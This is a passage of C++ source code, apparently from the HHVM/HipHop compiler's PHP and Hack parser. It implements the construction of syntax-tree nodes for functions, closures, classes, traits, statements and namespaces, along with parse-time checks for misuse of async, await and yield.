not enabled"); return; } onUnaryOpExp(out, pairs, T_ARRAY, true); } void Parser::onArrayPair(Token &out, Token *pairs, Token *name, Token &value, bool ref) { if (!value->exp) return; ExpressionPtr expList; if (pairs && pairs->exp) { expList = pairs->exp; } else { expList = NEW_EXP0(ExpressionList); } ExpressionPtr nameExp = name ? name->exp : ExpressionPtr(); expList->addElement(NEW_EXP(ArrayPairExpression, nameExp, value->exp, ref)); out->exp = expList; } void Parser::onEmptyCollection(Token &out) { out->exp = NEW_EXP0(ExpressionList); } void Parser::onCollectionPair(Token &out, Token *pairs, Token *name, Token &value) { if (!value->exp) return; ExpressionPtr expList; if (pairs && pairs->exp) { expList = pairs->exp; } else { expList = NEW_EXP0(ExpressionList); } ExpressionPtr nameExp = name ? name->exp : ExpressionPtr(); expList->addElement(NEW_EXP(ArrayPairExpression, nameExp, value->exp, false, true)); out->exp = expList; } void Parser::onUserAttribute(Token &out, Token *attrList, Token &name, Token &value) { ExpressionPtr expList; if (attrList && attrList->exp) { expList = attrList->exp; } else { expList = NEW_EXP0(ExpressionList); } expList->addElement(NEW_EXP(UserAttribute, name->text(), value->exp)); out->exp = expList; } void Parser::onClassConst(Token &out, Token &cls, Token &name, bool text) { if (!cls->exp) { cls->exp = NEW_EXP(ScalarExpression, T_STRING, cls->text()); } ClassConstantExpressionPtr con = NEW_EXP(ClassConstantExpression, cls->exp, name->text()); con->onParse(m_ar, m_file); out->exp = con; } /////////////////////////////////////////////////////////////////////////////// // function/method declaration void Parser::onFunctionStart(Token &name, bool doPushComment /* = true */) { m_file->pushAttribute(); if (doPushComment) { pushComment(); } newScope(); m_funcContexts.push_back(FunctionContext()); m_prependingStatements.push_back(vector<StatementPtr>()); m_funcName = name.text(); m_hasCallToGetArgs.push_back(false); m_staticVars.push_back(StringToExpressionPtrVecMap()); } void Parser::onMethodStart(Token &name, Token &mods, bool doPushComment /* = true */) { onFunctionStart(name, doPushComment); } void Parser::fixStaticVars() { StringToExpressionPtrVecMap &m = m_staticVars.back(); for (StringToExpressionPtrVecMap::iterator it = m.begin(), end = m.end(); it != end; ++it) { const ExpressionPtrVec &v = it->second; if (v.size() > 1) { ExpressionPtr last; for (int i = v.size(); i--; ) { ExpressionListPtr el(dynamic_pointer_cast<ExpressionList>(v[i])); for (int j = el->getCount(); j--; ) { ExpressionPtr s = (*el)[j]; SimpleVariablePtr v = dynamic_pointer_cast<SimpleVariable>( s->is(Expression::KindOfAssignmentExpression) ? static_pointer_cast<AssignmentExpression>(s)->getVariable() : s); if (v->getName() == it->first) { if (!last) { last = s; } else { el->removeElement(j); el->insertElement(last->clone(), j); } } } } } } m_staticVars.pop_back(); } void Parser::checkFunctionContext(string funcName, FunctionContext& funcContext, ModifierExpressionPtr modifiers, int returnsRef) { funcContext.checkFinalAssertions(); // let async modifier be mandatory if (funcContext.isAsync && !modifiers->isAsync()) { PARSE_ERROR("Function '%s' contains 'await' but is not declared as async.", funcName.c_str()); } if (modifiers->isAsync() && returnsRef) { PARSE_ERROR("Asynchronous function '%s' cannot return reference.", funcName.c_str()); } if (modifiers->isAsync() && funcContext.isGenerator) { PARSE_ERROR("'yield' is not allowed in async functions."); } } void Parser::prepareConstructorParameters(StatementListPtr stmts, ExpressionListPtr params, bool isAbstract) { for (int i = 0, count = params->getCount(); i < count; i++) { ParameterExpressionPtr param = dynamic_pointer_cast<ParameterExpression>((*params)[i]); TokenID mod = param->getModifier(); if (mod == 0) continue; if (isAbstract) { param->parseTimeFatal(Compiler::InvalidAttribute, "parameter modifiers not allowed on " "abstract __construct"); } if (!stmts) { param->parseTimeFatal(Compiler::InvalidAttribute, "parameter modifiers not allowed on " "__construct without a body"); } if (param->annotation()) { std::vector<std::string> typeNames; param->annotation()->getAllSimpleNames(typeNames); for (auto& typeName : typeNames) { if (isTypeVarInImmediateScope(typeName)) { param->parseTimeFatal(Compiler::InvalidAttribute, "parameter modifiers not supported with " "type variable annotation"); } } } std::string name = param->getName(); SimpleVariablePtr value = NEW_EXP(SimpleVariable, name); ScalarExpressionPtr prop = NEW_EXP(ScalarExpression, T_STRING, name); SimpleVariablePtr self = NEW_EXP(SimpleVariable, "this"); ObjectPropertyExpressionPtr objProp = NEW_EXP(ObjectPropertyExpression, self, prop); AssignmentExpressionPtr assign = NEW_EXP(AssignmentExpression, objProp, value, false); ExpStatementPtr stmt = NEW_STMT(ExpStatement, assign); stmts->insertElement(stmt); } } string Parser::getFunctionName(FunctionType type, Token* name) { switch (type) { case FunctionType::Closure: return newClosureName(m_clsName, m_containingFuncName); case FunctionType::Function: assert(name); if (!m_lambdaMode) { return name->text(); } else { return name->text() + "{lambda}"; } case FunctionType::Method: assert(name); return name->text(); } not_reached(); } StatementPtr Parser::onFunctionHelper(FunctionType type, Token *modifiers, Token &ret, Token &ref, Token *name, Token &params, Token &stmt, Token *attr, bool reloc) { // prepare and validate function modifiers ModifierExpressionPtr modifiersExp = modifiers && modifiers->exp ? dynamic_pointer_cast<ModifierExpression>(modifiers->exp) : NEW_EXP0(ModifierExpression); modifiersExp->setHasPrivacy(type == FunctionType::Method); if (type == FunctionType::Closure && !modifiersExp->validForClosure()) { PARSE_ERROR("Invalid modifier on closure funciton."); } if (type == FunctionType::Function && !modifiersExp->validForFunction()) { PARSE_ERROR("Invalid modifier on function %s.", name->text().c_str()); } StatementListPtr stmts = stmt->stmt || stmt->num() != 1 ? dynamic_pointer_cast<StatementList>(stmt->stmt) : NEW_EXP0(StatementList); ExpressionListPtr old_params = dynamic_pointer_cast<ExpressionList>(params->exp); string funcName = getFunctionName(type, name); if (type == FunctionType::Method && old_params && funcName == "__construct") { prepareConstructorParameters(stmts, old_params, modifiersExp->isAbstract()); } fixStaticVars(); int attribute = m_file->popAttribute(); string comment = popComment(); ExpressionListPtr attrList; if (attr && attr->exp) { attrList = dynamic_pointer_cast<ExpressionList>(attr->exp); } // create function/method statement FunctionStatementPtr func; MethodStatementPtr mth; if (type == FunctionType::Method) { mth = NEW_STMT(MethodStatement, modifiersExp, ref->num(), funcName, old_params, ret.typeAnnotation, stmts, attribute, comment, attrList); completeScope(mth->onInitialParse(m_ar, m_file)); } else { func = NEW_STMT(FunctionStatement, modifiersExp, ref->num(), funcName, old_params, ret.typeAnnotation, stmts, attribute, comment, attrList); func->onParse(m_ar, m_file); completeScope(func->getFunctionScope()); if (func->ignored()) { return NEW_STMT0(StatementList); } mth = func; } // check and set generator/async flags FunctionContext funcContext = m_funcContexts.back(); checkFunctionContext(funcName, funcContext, modifiersExp, ref->num()); mth->getFunctionScope()->setGenerator(funcContext.isGenerator); mth->getFunctionScope()->setAsync(modifiersExp->isAsync()); m_funcContexts.pop_back(); mth->setHasCallToGetArgs(m_hasCallToGetArgs.back()); m_hasCallToGetArgs.pop_back(); LocationPtr loc = popFuncLocation(); if (reloc) { mth->getLocation()->line0 = loc->line0; mth->getLocation()->char0 = loc->char0; } m_prependingStatements.pop_back(); return mth; } void Parser::onFunction(Token &out, Token *modifiers, Token &ret, Token &ref, Token &name, Token &params, Token &stmt, Token *attr) { out->stmt = onFunctionHelper(FunctionType::Function, modifiers, ret, ref, &name, params, stmt, attr, true); } void Parser::onMethod(Token &out, Token &modifiers, Token &ret, Token &ref, Token &name, Token &params, Token &stmt, Token *attr, bool reloc /* = true */) { out->stmt = onFunctionHelper(FunctionType::Method, &modifiers, ret, ref, &name, params, stmt, attr, reloc); } void Parser::onParam(Token &out, Token *params, Token &type, Token &var, bool ref, Token *defValue, Token *attr, Token *modifier) { ExpressionPtr expList; if (params) { expList = params->exp; } else { expList = NEW_EXP0(ExpressionList); } ExpressionListPtr attrList; if (attr && attr->exp) { attrList = dynamic_pointer_cast<ExpressionList>(attr->exp); } TypeAnnotationPtr typeAnnotation = type.typeAnnotation; expList->addElement(NEW_EXP(ParameterExpression, typeAnnotation, m_scanner.isHHSyntaxEnabled(), var->text(), ref, (modifier) ? modifier->num() : 0, defValue ? defValue->exp : ExpressionPtr(), attrList)); out->exp = expList; } void Parser::onClassStart(int type, Token &name) { const Type::TypePtrMap& typeHintTypes = Type::GetTypeHintTypes(m_scanner.isHHSyntaxEnabled()); if (name.text() == "self" || name.text() == "parent" || typeHintTypes.find(name.text()) != typeHintTypes.end()) { PARSE_ERROR("Cannot use '%s' as class name as it is reserved", name.text().c_str()); } pushComment(); newScope(); m_clsName = name.text(); m_inTrait = type == T_TRAIT; } void Parser::onClass(Token &out, int type, Token &name, Token &base, Token &baseInterface, Token &stmt, Token *attr) { StatementListPtr stmtList; if (stmt->stmt) { stmtList = dynamic_pointer_cast<StatementList>(stmt->stmt); } ExpressionListPtr attrList; if (attr && attr->exp) { attrList = dynamic_pointer_cast<ExpressionList>(attr->exp); } ClassStatementPtr cls = NEW_STMT (ClassStatement, type, name->text(), base->text(), dynamic_pointer_cast<ExpressionList>(baseInterface->exp), popComment(), stmtList, attrList); // look for argument promotion in ctor ExpressionListPtr promote = NEW_EXP(ExpressionList); cls->checkArgumentsToPromote(promote, type); for (int i = 0, count = promote->getCount(); i < count; i++) { auto param = dynamic_pointer_cast<ParameterExpression>((*promote)[i]); TokenID mod = param->getModifier(); std::string name = param->getName(); std::string type = param->hasUserType() ? param->getUserTypeHint() : ""; // create the class variable and change the location to // point to the paramenter location for error reporting LocationPtr location = param->getLocation(); ModifierExpressionPtr modifier = NEW_EXP0(ModifierExpression); modifier->add(mod); modifier->setLocation(location); SimpleVariablePtr svar = NEW_EXP(SimpleVariable, name); svar->setLocation(location); ExpressionListPtr expList = NEW_EXP0(ExpressionList); expList->addElement(svar); expList->setLocation(location); ClassVariablePtr var = NEW_STMT(ClassVariable, modifier, type, expList); var->setLocation(location); cls->getStmts()->addElement(var); } out->stmt = cls; { cls->onParse(m_ar, m_file); } completeScope(cls->getClassScope()); if (cls->ignored()) { out->stmt = NEW_STMT0(StatementList); } m_clsName.clear(); m_inTrait = false; registerAlias(name.text()); } void Parser::onInterface(Token &out, Token &name, Token &base, Token &stmt, Token *attr) { StatementListPtr stmtList; if (stmt->stmt) { stmtList = dynamic_pointer_cast<StatementList>(stmt->stmt); } ExpressionListPtr attrList; if (attr && attr->exp) { attrList = dynamic_pointer_cast<ExpressionList>(attr->exp); } InterfaceStatementPtr intf = NEW_STMT (InterfaceStatement, name->text(), dynamic_pointer_cast<ExpressionList>(base->exp), popComment(), stmtList, attrList); out->stmt = intf; { intf->onParse(m_ar, m_file); } completeScope(intf->getClassScope()); } void Parser::onInterfaceName(Token &out, Token *names, Token &name) { ExpressionPtr expList; if (names) { expList = names->exp; } else { expList = NEW_EXP0(ExpressionList); } expList->addElement(NEW_EXP(ScalarExpression, T_STRING, name->text())); out->exp = expList; } void Parser::onTraitUse(Token &out, Token &traits, Token &rules) { if (!rules->stmt) { rules->stmt = NEW_STMT0(StatementList); } out->stmt = NEW_STMT(UseTraitStatement, dynamic_pointer_cast<ExpressionList>(traits->exp), dynamic_pointer_cast<StatementList>(rules->stmt)); } void Parser::onTraitName(Token &out, Token *names, Token &name) { ExpressionPtr expList; if (names) { expList = names->exp; } else { expList = NEW_EXP0(ExpressionList); } expList->addElement(NEW_EXP(ScalarExpression, T_STRING, name->text())); out->exp = expList; } void Parser::onTraitRule(Token &out, Token &stmtList, Token &newStmt) { if (!stmtList->stmt) { out->stmt = NEW_STMT0(StatementList); } else { out->stmt = stmtList->stmt; } assert(newStmt->stmt); out->stmt->addElement(newStmt->stmt); } void Parser::onTraitPrecRule(Token &out, Token &traitName, Token &methodName, Token &otherTraits) { assert(otherTraits->exp); ScalarExpressionPtr expTraitName = NEW_EXP(ScalarExpression, T_STRING, traitName->text()); ScalarExpressionPtr expMethodName = NEW_EXP(ScalarExpression, T_STRING, methodName->text()); out->stmt = NEW_STMT(TraitPrecStatement, expTraitName, expMethodName, dynamic_pointer_cast<ExpressionList>(otherTraits->exp)); } void Parser::onTraitAliasRuleStart(Token &out, Token &traitName, Token &methodName) { ScalarExpressionPtr expTraitName = NEW_EXP(ScalarExpression, T_STRING, traitName->text()); ScalarExpressionPtr expMethodName = NEW_EXP(ScalarExpression, T_STRING, methodName->text()); ModifierExpressionPtr expModifiers = NEW_EXP0(ModifierExpression); ScalarExpressionPtr expNewMethodName = NEW_EXP(ScalarExpression, T_STRING, methodName->text()); out->stmt = NEW_STMT(TraitAliasStatement, expTraitName, expMethodName, expModifiers, expNewMethodName); } void Parser::onTraitAliasRuleModify(Token &out, Token &rule, Token &accessModifiers, Token &newMethodName) { TraitAliasStatementPtr ruleStmt= dynamic_pointer_cast<TraitAliasStatement>(rule->stmt); assert(ruleStmt); if (!newMethodName->text().empty()) { ScalarExpressionPtr expNewMethodName = NEW_EXP(ScalarExpression, T_STRING, newMethodName->text()); ruleStmt->setNewMethodName(expNewMethodName); } if (accessModifiers->exp) { ruleStmt->setModifiers(dynamic_pointer_cast<ModifierExpression> (accessModifiers->exp)); } out->stmt = ruleStmt; } void Parser::onClassVariableStart(Token &out, Token *modifiers, Token &decl, Token *type) { if (modifiers) { ModifierExpressionPtr exp = modifiers->exp ? dynamic_pointer_cast<ModifierExpression>(modifiers->exp) : NEW_EXP0(ModifierExpression); out->stmt = NEW_STMT (ClassVariable, exp, (type) ? type->typeAnnotationName() : "", dynamic_pointer_cast<ExpressionList>(decl->exp)); } else { out->stmt = NEW_STMT(ClassConstant, (type) ? type->typeAnnotationName() : "", dynamic_pointer_cast<ExpressionList>(decl->exp)); } } void Parser::onMemberModifier(Token &out, Token *modifiers, Token &modifier) { ModifierExpressionPtr expList; if (modifiers) { expList = dynamic_pointer_cast<ModifierExpression>(modifiers->exp); } else { expList = NEW_EXP0(ModifierExpression); } expList->add(modifier->num()); out->exp = expList; } /////////////////////////////////////////////////////////////////////////////// // statements void Parser::initParseTree() { m_tree = NEW_STMT0(StatementList); } void Parser::finiParseTree() { if (m_staticVars.size()) fixStaticVars(); FunctionScopePtr pseudoMain = m_file->setTree(m_ar, m_tree); completeScope(pseudoMain); pseudoMain->setOuterScope(m_file); m_file->setOuterScope(m_ar); m_ar->parseExtraCode(m_file->getName()); LocationPtr loc = getLocation(); loc->line0 = loc->char0 = 1; pseudoMain->getStmt()->setLocation(loc); } void Parser::onHaltCompiler() { if (m_nsState == InsideNamespace && !m_nsFileScope) { error("__HALT_COMPILER() can only be used from the outermost scope"); return; } // Backpatch instances of __COMPILER_HALT_OFFSET__ for(auto &cho : m_compilerHaltOffsetVec) { cho->setCompilerHaltOffset(m_scanner.getLocation()->cursor); } } void Parser::onStatementListStart(Token &out) { out.reset(); } void Parser::addTopStatement(Token &new_stmt) { addStatement(m_tree, new_stmt->stmt); } void Parser::addStatement(Token &out, Token &stmts, Token &new_stmt) { if (!stmts->stmt) { out->stmt = NEW_STMT0(StatementList); } else { out->stmt = stmts->stmt; } addStatement(out->stmt, new_stmt->stmt); } void Parser::addStatement(StatementPtr stmt, StatementPtr new_stmt) { assert(!m_prependingStatements.empty()); vector<StatementPtr> &prepending = m_prependingStatements.back(); if (!prepending.empty()) { assert(prepending.size() == 1); for (unsigned i = 0; i < prepending.size(); i++) { stmt->addElement(prepending[i]); } prepending.clear(); } if (new_stmt) { stmt->addElement(new_stmt); } } void Parser::finishStatement(Token &out, Token &stmts) { if (!stmts->stmt) { out->stmt = NEW_STMT0(StatementList); } else { out->stmt = stmts->stmt; } } void Parser::onBlock(Token &out, Token &stmts) { if (!stmts->stmt) { stmts->stmt = NEW_STMT0(StatementList); } else if (!stmts->stmt->is(Statement::KindOfStatementList)) { out->stmt = NEW_STMT0(StatementList); out->stmt->addElement(stmts->stmt); stmts->stmt = out->stmt; } out->stmt = NEW_STMT(BlockStatement, dynamic_pointer_cast<StatementList>(stmts->stmt)); } void Parser::onIf(Token &out, Token &cond, Token &stmt, Token &elseifs, Token &elseStmt) { StatementPtr stmtList; if (!elseifs->stmt) { stmtList = NEW_STMT0(StatementList); } else { stmtList = elseifs->stmt; } if (stmt->stmt && stmt->stmt->is(Statement::KindOfStatementList)) { stmt->stmt = NEW_STMT(BlockStatement, dynamic_pointer_cast<StatementList>(stmt->stmt)); } stmtList->insertElement(NEW_STMT(IfBranchStatement, cond->exp, stmt->stmt)); if (elseStmt->stmt) { if (elseStmt->stmt->is(Statement::KindOfStatementList)) { elseStmt->stmt = NEW_STMT (BlockStatement, dynamic_pointer_cast<StatementList>(elseStmt->stmt)); } stmtList->addElement(NEW_STMT(IfBranchStatement, ExpressionPtr(), elseStmt->stmt)); } out->stmt = NEW_STMT(IfStatement, dynamic_pointer_cast<StatementList>(stmtList)); } void Parser::onElseIf(Token &out, Token &elseifs, Token &cond, Token &stmt) { if (!elseifs->stmt) { out->stmt = NEW_STMT0(StatementList); } else { out->stmt = elseifs->stmt; } if (stmt->stmt && stmt->stmt->is(Statement::KindOfStatementList)) { stmt->stmt = NEW_STMT(BlockStatement, dynamic_pointer_cast<StatementList>(stmt->stmt)); } out->stmt->addElement(NEW_STMT(IfBranchStatement, cond->exp, stmt->stmt)); } void Parser::onWhile(Token &out, Token &cond, Token &stmt) { if (stmt->stmt && stmt->stmt->is(Statement::KindOfStatementList)) { stmt->stmt = NEW_STMT(BlockStatement, dynamic_pointer_cast<StatementList>(stmt->stmt)); } out->stmt = NEW_STMT(WhileStatement, cond->exp, stmt->stmt); } void Parser::onDo(Token &out, Token &stmt, Token &cond) { out->stmt = NEW_STMT(DoStatement, stmt->stmt, cond->exp); } void Parser::onFor(Token &out, Token &expr1, Token &expr2, Token &expr3, Token &stmt) { if (stmt->stmt && stmt->stmt->is(Statement::KindOfStatementList)) { stmt->stmt = NEW_STMT(BlockStatement, dynamic_pointer_cast<StatementList>(stmt->stmt)); } out->stmt = NEW_STMT(ForStatement, expr1->exp, expr2->exp, expr3->exp, stmt->stmt); } void Parser::onSwitch(Token &out, Token &expr, Token &cases) { out->stmt = NEW_STMT(SwitchStatement, expr->exp, dynamic_pointer_cast<StatementList>(cases->stmt)); } void Parser::onCase(Token &out, Token &cases, Token *cond, Token &stmt) { if (!cases->stmt) { out->stmt = NEW_STMT0(StatementList); } else { out->stmt = cases->stmt; } out->stmt->addElement(NEW_STMT(CaseStatement, cond ? cond->exp : ExpressionPtr(), stmt->stmt)); } void Parser::onBreakContinue(Token &out, bool isBreak, Token* expr) { uint64_t depth = 1; if (expr) { Variant v; if (!expr->exp->getScalarValue(v)) { PARSE_ERROR("'%s' operator with non-constant operand is no longer " "supported", (isBreak ? "break" : "continue")); } if (!v.isInteger() || v.toInt64() <= 0) { PARSE_ERROR("'%s' operator accepts only positive numbers", (isBreak ? "break" : "continue")); } depth = static_cast<uint64_t>(v.toInt64()); } if (isBreak) { out->stmt = NEW_STMT(BreakStatement, depth); } else { out->stmt = NEW_STMT(ContinueStatement, depth); } } void Parser::onReturn(Token &out, Token *expr) { out->stmt = NEW_STMT(ReturnStatement, expr ? expr->exp : ExpressionPtr()); if (!m_funcContexts.empty()) { FunctionContext& fc = m_funcContexts.back(); if (fc.isGenerator) { Compiler::Error(InvalidYield, out->stmt); PARSE_ERROR("Cannot mix 'return' and 'yield' in the same function"); return; } fc.hasReturn = true; } } void Parser::invalidYield() { ExpressionPtr exp(new SimpleFunctionCall(BlockScopePtr(), getLocation(), "yield", false, ExpressionListPtr(), ExpressionPtr())); Compiler::Error(Compiler::InvalidYield, exp); } bool Parser::canBeAsyncOrGenerator(string funcName, string clsName) { if (clsName.empty()) { return true; } if (strcasecmp(funcName.c_str(), clsName.c_str()) == 0) { return false; } if (strncmp(funcName.c_str(), "__", 2) == 0) { const char *fname = funcName.c_str() + 2; if (!strcasecmp(fname, "construct") || !strcasecmp(fname, "destruct") || !strcasecmp(fname, "get") || !strcasecmp(fname, "set") || !strcasecmp(fname, "isset") || !strcasecmp(fname, "unset") || !strcasecmp(fname, "call") || !strcasecmp(fname, "callstatic") || !strcasecmp(fname, "invoke")) { return false; } } return true; } bool Parser::setIsGenerator() { if (m_funcContexts.empty()) { invalidYield(); PARSE_ERROR("Yield can only be used inside a function"); return false; } FunctionContext& fc = m_funcContexts.back(); if (fc.hasReturn) { invalidYield(); PARSE_ERROR("Cannot mix 'return' and 'yield' in the same function"); return false; } if (fc.isAsync) { invalidYield(); PARSE_ERROR("'yield' is not allowed in async functions."); return false; } fc.isGenerator = true; if (!canBeAsyncOrGenerator(m_funcName, m_clsName)) { invalidYield(); PARSE_ERROR("'yield' is not allowed in constructor, destructor, or " "magic methods"); return false; } return true; } void Parser::onYield(Token &out, Token &expr) { if (setIsGenerator()) { out->exp = NEW_EXP(YieldExpression, ExpressionPtr(), expr->exp); } } void Parser::onYieldPair(Token &out, Token &key, Token &val) { if (setIsGenerator()) { out->exp = NEW_EXP(YieldExpression, key->exp, val->exp); } } void Parser::onYieldBreak(Token &out) { if (setIsGenerator()) { out->stmt = NEW_STMT(ReturnStatement, ExpressionPtr()); } } void Parser::invalidAwait() { ExpressionPtr exp(new SimpleFunctionCall(BlockScopePtr(), getLocation(), "async", false, ExpressionListPtr(), ExpressionPtr())); Compiler::Error(Compiler::InvalidAwait, exp); } bool Parser::setIsAsync() { if (m_funcContexts.empty()) { invalidAwait(); PARSE_ERROR("'await' can only be used inside a function"); return false; } FunctionContext& fc = m_funcContexts.back(); if (fc.isGenerator) { invalidAwait(); PARSE_ERROR("'await' is not allowed in generators."); return false; } fc.isAsync = true; if (!canBeAsyncOrGenerator(m_funcName, m_clsName)) { invalidAwait(); PARSE_ERROR("'await' is not allowed in constructors, destructors, or " "magic methods."); } return true; } void Parser::onAwait(Token &out, Token &expr) { if (setIsAsync()) { out->exp = NEW_EXP(AwaitExpression, expr->exp); } } void Parser::onGlobal(Token &out, Token &expr) { out->stmt = NEW_STMT(GlobalStatement, dynamic_pointer_cast<ExpressionList>(expr->exp)); } void Parser::onGlobalVar(Token &out, Token *exprs, Token &expr) { ExpressionPtr expList; if (exprs && exprs->exp) { expList = exprs->exp; } else { expList = NEW_EXP0(ExpressionList); } switch (expr->num()) { case 0: expList->addElement(NEW_EXP(SimpleVariable, expr->text())); break; case 1: expList->addElement(createDynamicVariable(expr->exp)); break; default: assert(false); } out->exp = expList; } void Parser::onStatic(Token &out, Token &expr) { out->stmt = NEW_STMT(StaticStatement, dynamic_pointer_cast<ExpressionList>(expr->exp)); } void Parser::onEcho(Token &out, Token &expr, bool html) { if (html) { LocationPtr loc = getLocation(); if (loc->line1 == 2 && loc->char1 == 0 && expr->text()[0] == '#') { // skipping linux interpreter declaration out->stmt = NEW_STMT0(StatementList); } else { ExpressionPtr exp = NEW_EXP(ScalarExpression, T_STRING, expr->text(), true); ExpressionListPtr expList = NEW_EXP(ExpressionList); expList->addElement(exp); out->stmt = NEW_STMT(EchoStatement, expList); } } else { out->stmt = NEW_STMT(EchoStatement, dynamic_pointer_cast<ExpressionList>(expr->exp)); } } void Parser::onUnset(Token &out, Token &expr) { out->stmt = NEW_STMT(UnsetStatement, dynamic_pointer_cast<ExpressionList>(expr->exp)); m_file->setAttribute(FileScope::ContainsUnset); } void Parser::onExpStatement(Token &out, Token &expr) { ExpStatementPtr exp(NEW_STMT(ExpStatement, expr->exp)); out->stmt = exp; exp->onParse(m_ar, m_file); } void Parser::onForEach(Token &out, Token &arr, Token &name, Token &value, Token &stmt) { if (dynamic_pointer_cast<FunctionCall>(name->exp) || dynamic_pointer_cast<FunctionCall>(value->exp)) { PARSE_ERROR("Can't use return value in write context"); } if (value->exp && name->num()) { PARSE_ERROR("Key element cannot be a reference"); return; } checkAssignThis(name); checkAssignThis(value); if (stmt->stmt && stmt->stmt->is(Statement::KindOfStatementList)) { stmt->stmt = NEW_STMT(BlockStatement, dynamic_pointer_cast<StatementList>(stmt->stmt)); } out->stmt = NEW_STMT(ForEachStatement, arr->exp, name->exp, name->num() == 1, value->exp, value->num() == 1, stmt->stmt); } void Parser::onTry(Token &out, Token &tryStmt, Token &className, Token &var, Token &catchStmt, Token &catches, Token &finallyStmt) { StatementPtr stmtList; if (catches->stmt) { stmtList = catches->stmt; } else { stmtList = NEW_STMT0(StatementList); } stmtList->insertElement(NEW_STMT(CatchStatement, className->text(), var->text(), catchStmt->stmt)); out->stmt = NEW_STMT(TryStatement, tryStmt->stmt, dynamic_pointer_cast<StatementList>(stmtList), finallyStmt->stmt); } void Parser::onTry(Token &out, Token &tryStmt, Token &finallyStmt) { out->stmt = NEW_STMT(TryStatement, tryStmt->stmt, dynamic_pointer_cast<StatementList>(NEW_STMT0(StatementList)), finallyStmt->stmt); } void Parser::onCatch(Token &out, Token &catches, Token &className, Token &var, Token &stmt) { StatementPtr stmtList; if (catches->stmt) { stmtList = catches->stmt; } else { stmtList = NEW_STMT0(StatementList); } stmtList->addElement(NEW_STMT(CatchStatement, className->text(), var->text(), stmt->stmt)); out->stmt = stmtList; } void Parser::onFinally(Token &out, Token &stmt) { out->stmt = NEW_STMT(FinallyStatement, stmt->stmt); } void Parser::onThrow(Token &out, Token &expr) { out->stmt = NEW_STMT(ThrowStatement, expr->exp); } void Parser::onClosureStart(Token &name) { if (!m_funcName.empty()) { m_containingFuncName = m_funcName; } else { // pseudoMain } onFunctionStart(name, true); } void Parser::onClosure(Token &out, Token* modifiers, Token &ret, Token &ref, Token &params, Token &cparams, Token &stmts) { auto stmt = onFunctionHelper(FunctionType::Closure, modifiers, ret, ref, nullptr, params, stmts, nullptr, true); ExpressionListPtr vars = dynamic_pointer_cast<ExpressionList>(cparams->exp); if (vars) { for (int i = vars->getCount() - 1; i >= 0; i--) { ParameterExpressionPtr param( dynamic_pointer_cast<ParameterExpression>((*vars)[i])); if (param->getName() == "this") { PARSE_ERROR("Cannot use $this as lexical variable"); } } } ClosureExpressionPtr closure = NEW_EXP( ClosureExpression, dynamic_pointer_cast<FunctionStatement>(stmt), vars ); closure->getClosureFunction()->setContainingClosure(closure); out->exp = closure; } void Parser::onClosureParam(Token &out, Token *params, Token &param, bool ref) { ExpressionPtr expList; if (params) { expList = params->exp; } else { expList = NEW_EXP0(ExpressionList); } expList->addElement(NEW_EXP(ParameterExpression, TypeAnnotationPtr(), m_scanner.isHHSyntaxEnabled(), param->text(), ref, 0, ExpressionPtr(), ExpressionPtr())); out->exp = expList; } void Parser::onLabel(Token &out, Token &label) { out->stmt = NEW_STMT(LabelStatement, label.text()); } void Parser::onGoto(Token &out, Token &label, bool limited) { out->stmt = NEW_STMT(GotoStatement, label.text()); } void Parser::onTypedef(Token& out, const Token& name, const Token& type) { // Note: we don't always get TypeAnnotations (e.g. for shape types // currently). auto const annot = type.typeAnnotation ? type.typeAnnotation : std::make_shared<TypeAnnotation>(type.text(), TypeAnnotationPtr()); auto td_stmt = NEW_STMT(TypedefStatement, name.text(), annot); td_stmt->onParse(m_ar, m_file); out->stmt = td_stmt; } void Parser::onTypeAnnotation(Token& out, const Token& name, const Token& typeArgs) { out.set(name.num(), name.text()); out.typeAnnotation = TypeAnnotationPtr( new TypeAnnotation(name.text(), typeArgs.typeAnnotation)); if (isTypeVar(name.text())) { out.typeAnnotation->setTypeVar(); } } void Parser::onTypeList(Token& type1, const Token& type2) { if (!type1.typeAnnotation) { PARSE_ERROR("Missing type in type list"); } if (type2.num() != 0 && !type1.typeAnnotation) { PARSE_ERROR("Missing type in type list"); } if (type2.typeAnnotation) { type1.typeAnnotation->appendToTypeList(type2.typeAnnotation); } } void Parser::onTypeSpecialization(Token& type, char specialization) { if (type.typeAnnotation) { switch (specialization) { case '?': type.typeAnnotation->setNullable(); break; case '@': type.typeAnnotation->setSoft(); break; case 't': type.typeAnnotation->setTuple(); break; case 'f': type.typeAnnotation->setFunction(); break; case 'x': type.typeAnnotation->setXHP(); break; } } } /////////////////////////////////////////////////////////////////////////////// // namespace support void Parser::nns(int token) { if (m_nsState == SeenNamespaceStatement && token != ';') { error("No code may exist outside of namespace {}: %s", getMessage().c_str()); return; } if (m_nsState == SeenNothing && token != T_DECLARE && token != ';') { m_nsState = SeenNonNamespaceStatement; } } void Parser::onNamespaceStart(const std::string &ns, bool file_scope /* =false */) { if (m_nsState == SeenNonNamespaceStatement) { error("Namespace declaration statement has to be the very first " "statement in the script: %s", getMessage().c_str()); return; } if (m_nsState != SeenNothing && file_scope != m_nsFileScope) { error("Cannot mix bracketed namespace declarations with unbracketed " "namespace declarations"); } m_nsState = InsideNamespace; m_nsFileScope = file_scope; m_aliases.clear(); pushComment(); m_namespace = ns; } void Parser::onNamespaceEnd() { m_nsState = SeenNamespaceStatement; } void Parser::onUse(const std::string &ns, const std::string &as) { string key = as; if (key.empty()) { size_t pos = ns.rfind(NAMESPACE_SEP); if (pos == string::npos) { key = ns; } else { key = ns.substr(pos + 1); } } if (m_aliases.find(key) != m_aliases.end() && m_aliases[key] != ns) { error("Cannot use %s as %s because the name is already in use: %s", ns.c_str(), key.c_str(), getMessage().c_str()); return; } m_aliases[key] = ns; } std::string Parser::nsDecl(const std::string &name) { if (m_namespace.empty()) { return name; } return m_namespace + NAMESPACE_SEP + name; } std::string Parser::resolve(const std::string &ns, bool cls) { string alias = ns; size_t pos = ns.find(NAMESPACE_SEP); if (pos != string::npos) { alias = ns.substr(0, pos); } hphp_string_imap<std::string>::const_iterator iter = m_aliases.find(alias); if (iter != m_aliases.end()) { // Was it a namespace alias? if (pos != string::npos) { return iter->second + ns.substr(pos); } // Only classes can appear directly in "use" statements if (cls) { return iter->second; } } // Classes don't fallback to the global namespace. if (cls) { if (!strcasecmp("self", ns.c_str()) || !strcasecmp("parent", ns.c_str())) { return ns; } return nsDecl(ns); } // if qualified name, prepend current namespace if (pos != string::npos) { return nsDecl(ns); } // unqualified name in global namespace if (m_namespace.empty()) { return ns; } if (!strcasecmp("true", ns.c_str()) || !strcasecmp("false", ns.c_str()) || !strcasecmp("null", ns.c_str())) { return ns; } return nsDecl(ns); } 